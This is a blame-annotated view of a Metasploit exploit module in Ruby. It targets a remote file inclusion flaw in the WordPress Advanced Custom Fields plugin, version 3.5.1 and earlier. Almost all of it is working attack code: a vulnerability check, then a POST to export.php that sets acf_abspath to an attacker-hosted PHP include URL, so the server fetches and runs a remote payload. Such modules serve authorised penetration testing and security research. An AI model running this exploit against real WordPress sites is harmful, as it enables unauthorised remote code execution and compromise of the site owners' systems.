Files
metasploit-gs/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb
T

95 lines
2.8 KiB
Ruby
Raw Normal View History

2013-01-02 20:14:09 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-01-02 20:14:09 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = ExcellentRanking
2013-01-02 20:14:09 +00:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
2013-01-02 20:14:09 +00:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
'Description' => %q{
This module exploits a remote file inclusion flaw in the WordPress blogging
software plugin known as Advanced Custom Fields. The vulnerability allows for remote
file inclusion and remote code execution via the export.php script. The Advanced
Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
works when the php option allow_url_include is set to On (Default Off).
},
'Author' =>
[
2014-10-02 23:03:31 +02:00
'Charlie Eriksen <charlie[at]ceriksen.com>'
2013-08-30 16:28:54 -05:00
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '87353'],
2013-08-30 16:28:54 -05:00
['URL', 'http://secunia.com/advisories/51037/'],
2014-10-03 17:13:18 +02:00
['WPVDB', '6103']
2013-08-30 16:28:54 -05:00
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
2014-10-02 23:03:31 +02:00
'ConnectionType' => 'find'
}
2013-08-30 16:28:54 -05:00
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 14 2012',
'DefaultTarget' => 0))
2013-01-02 20:14:09 +00:00
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/'])
])
2013-08-30 16:28:54 -05:00
end
2013-01-02 20:14:09 +00:00
2013-08-30 16:28:54 -05:00
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
uri << datastore['PLUGINSPATH']
uri << '/' if uri[-1,1] != '/'
2013-01-02 20:14:09 +00:00
2013-08-30 16:28:54 -05:00
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}advanced-custom-fields/core/api.php"
})
2013-01-02 20:14:09 +00:00
2013-08-30 16:28:54 -05:00
if res and res.code == 200
2014-01-21 11:07:03 -06:00
return Exploit::CheckCode::Appears
2013-08-30 16:28:54 -05:00
else
return Exploit::CheckCode::Safe
end
end
2013-01-02 20:14:09 +00:00
2013-08-30 16:28:54 -05:00
def php_exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
uri << datastore['PLUGINSPATH']
uri << '/' if uri[-1,1] != '/'
2013-01-02 20:14:09 +00:00
2013-08-30 16:28:54 -05:00
print_status('Sending request')
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}advanced-custom-fields/core/actions/export.php",
'data' => "acf_abspath=#{php_include_url}"
})
2013-01-02 20:14:09 +00:00
2013-08-30 16:28:54 -05:00
if res and res.body =~ /allow_url_include/
fail_with(Failure::NotVulnerable, 'allow_url_include is disabled')
elsif res.code != 200
fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
2013-01-02 20:14:09 +00:00
2013-08-30 16:28:54 -05:00
end
2013-01-02 20:14:09 +00:00
end